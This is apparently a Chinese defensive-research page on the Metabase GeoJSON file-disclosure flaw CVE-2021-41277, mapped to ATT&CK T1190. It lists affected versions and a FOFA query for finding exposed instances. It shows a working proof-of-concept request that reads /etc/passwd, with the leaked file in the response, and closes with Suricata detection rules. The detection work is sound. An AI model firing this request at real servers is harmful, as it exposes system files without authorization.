跳转至

T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

Metabase敏感信息泄露漏洞(CVE-2021-41277)

metabase是一个简单、开源的数据分析平台。

在受影响的版本中,自定义GeoJSON地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。

影响版本

影响版本:

metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5

FOFA查询语句:app="metabase"

测试案例

POC:/api/geojson?url=file:/etc/passwd

检测日志

HTTP.log

测试复现

GET /api/geojson?url=file:/etc/passwd HTTP/1.1
Host: *.*.*.*:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 12:34:30 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Last-Modified: Fri, 26 Nov 2021 20:34:30 +0800
Strict-Transport-Security: max-age=31536000
Set-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800
X-Permitted-Cross-Domain-Policies: none
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com   'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self';  frame-ancestors 'none';
Content-Type: application/json
Content-Encoding: gzip
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Transfer-Encoding: chunked
Server: Jetty(9.4.32.v20200930)

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ops:x:1000:1000::/home/ops:/bin/bash
service:x:1001:1001::/home/service:/bin/bash
zabbix:x:1002:1002::/home/zabbix:/sbin/nologin
grafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin
mysql:x:995:1003::/usr/local/mysql:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
metabase:x:1003:1004::/home/metabase:/bin/bash
redis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin
nginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin
openvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CVE-2021-41277-rsq";flow:established,to_server;content:"GET";http_method;content:"/api/geojson?url=file:/etc/passwd";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)

alert http any any -> any any (msg:"CVE-2021-41277-Metabase敏感信息泄露漏洞";flow:established,to_client;content:"200";http_stat_code;content:"/bin/bash";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)

备注

本案例仅做防御检测研究,请勿用于非法用途。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

CVE-2021-41277-POC

https://github.com/Seals6/CVE-2021-41277